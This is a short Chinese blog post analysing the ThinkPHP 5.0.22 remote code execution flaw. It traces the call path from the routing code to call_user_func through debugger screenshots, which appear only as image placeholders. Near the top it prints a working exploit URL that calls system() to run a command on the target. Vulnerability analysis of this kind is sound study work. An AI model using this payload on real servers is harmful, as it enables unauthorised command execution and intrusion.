THINKPHP5.0.22远程代码执行漏洞分析及复现

前言

THINKPHP5.0.22远程代码执行漏洞分析及复现

漏洞分析

exp如下:

1
/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20200309202158419

使用debug来跟一下漏洞的触发过程

1
2
3
4
5
6
7
8
9
<?php
namespace think;

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

跟进run(),看到关键代码。

image-20200310000602256

这里的$dispatch是空的,也就是未设置调度

image-20200310001903943

跟进routeCheck()

image-20200310002112545

其中$path,$depr

image-20200310002312139

image-20200310002842897

经过路由检测后,到这一行代码

image-20200310002644385

跟进函数parseUrl()

image-20200310003123751

在这一行代码中,$url被分成存入$path

image-20200310003314054

解析模块,控制器,操作

image-20200310003754654

然后封装路由

image-20200310004003373

image-20200310004018935

回到App.php

image-20200310004135712

关键代码

image-20200310004205934

跟进exec()这里跟进的是模块执行代码

image-20200310004520405

module()

image-20200310005005866

image-20200310005146448

image-20200310005237947

跟进invokeMethod()

image-20200310005605132

image-20200310005659885

到此调用call_user_function()

image-20200310005909300

参考

THINKPHP5.0.22远程代码执行漏洞分析及复现

Author: 我是小吴啦
Link: http://yoursite.com/2020/02/29/THINKPHP5-0-22%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%A4%8D%E7%8E%B0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.